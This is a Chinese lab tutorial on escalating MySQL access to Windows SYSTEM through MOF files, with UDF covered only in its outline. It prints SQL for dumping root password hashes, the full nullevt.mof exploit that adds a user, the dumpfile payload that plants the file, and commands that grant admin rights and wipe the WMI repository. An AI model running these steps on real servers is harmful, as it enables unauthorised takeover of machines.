[WEB安全]MySQl提权 mof、udf过程详解(上)

MySQL提权

〇、Mysql提权的必备条件

1、Mysql密码查询

2、利用ntfs特性创建文件夹

3、常用的sql基础查询命令

一、mof提权

0、环境搭建

1、原理

2、条件

3、开始

4、删号

二、UDF提权

0、原理

1、步骤

2、实操

〇、Mysql提权的必备条件

Mysql的服务没有降权,并且需要获取Mysql root账号密码

使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权

1、Mysql密码查询

1、root密码查询
# MySQL <= 5.6 版本  
select user,password from mysql.user where user='root';
# MySQL >= 5.7 版本  
select host,user,authentication_string from mysql.user;
将hash放入md5网站破解

2、利用ntfs特性创建文件夹

1、创建lib文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
2、创建plugin文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'

3、常用的sql基础查询命令

查看数据库路径  
select @@datadir;
查看插件的路径
show variables like '%plugins%';
查看Mysql的安装路径
select @@basedir;
查看当前操作系统多少位
select @@version_compile_os;

一、mof提权

0、环境搭建

1、win2k3 搭建

[WEB安全]MySQl提权 mof、udf过程详解(上)

2、添加用户

net user mark 123456 /add

3、确认网络连接:ping、访问

4、在mark账户下搭建phpstudy

5、处理secure_file_prive

SHOW VARIABLES LIKE "secure_file_priv";

[WEB安全]MySQl提权 mof、udf过程详解(上)

(1)NULL,表示禁止

(2)如果value值有文件夹目录,则表示只允许该目录下文件

(3)如果为空,则表示不限制目录

去掉导入的目录限制。可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面

修改完配置文件后,重启mysql生效。

重启后:

关闭:service mysqld stop

启动:service mysqld start

[WEB安全]MySQl提权 mof、udf过程详解(上)

1、原理

利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行,以系统权限执行。

2、条件

1、windows 03及以下版本

2、mysql启动身份具有权限去读写 c:/windows/system32/wbem/mof目录

3、secure-file-priv参数不为null

4、在之前必须没有admin用户才能成功

3、开始

确认当前权限

net user
whoami

[WEB安全]MySQl提权 mof、udf过程详解(上)

MOF文件

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

公开的nullevt.mof利用代码

 1 #pragma namespace("\\\\.\\root\\subscription")
 2 instance of __EventFilter as $EventFilter
 3 {
 4 EventNamespace = "Root\\Cimv2";
 5 Name = "filtP2";
 6 Query = "Select * From __InstanceModificationEvent "
 7 "Where TargetInstance Isa \"Win32_LocalTime\" "
 8 "And TargetInstance.Second = 5";
 9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };

mof文件利用

将上面的脚本上传到有读写权限的目录下,因为mof目录直接无法写入

这里我上传到了

C:/phpStudy/WWW/222.mof

我们使用sql语句将文件导入到

C:/windows/system32/wbem/mof/nullevt.mof

值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

payload:

select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

[WEB安全]MySQl提权 mof、udf过程详解(上)

验证提权

[WEB安全]MySQl提权 mof、udf过程详解(上)

可以看到添加了hpdoger用户,剩下的操作就是用户命令处,换成加入administrator语句即可

net localgroup administrators hpdoger /add

4、删号

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重新启动服务即可

上一篇:[WEB安全]红日靶场(一)环境搭建(下)


下一篇:[WEB安全]红日靶场(一)环境搭建(上)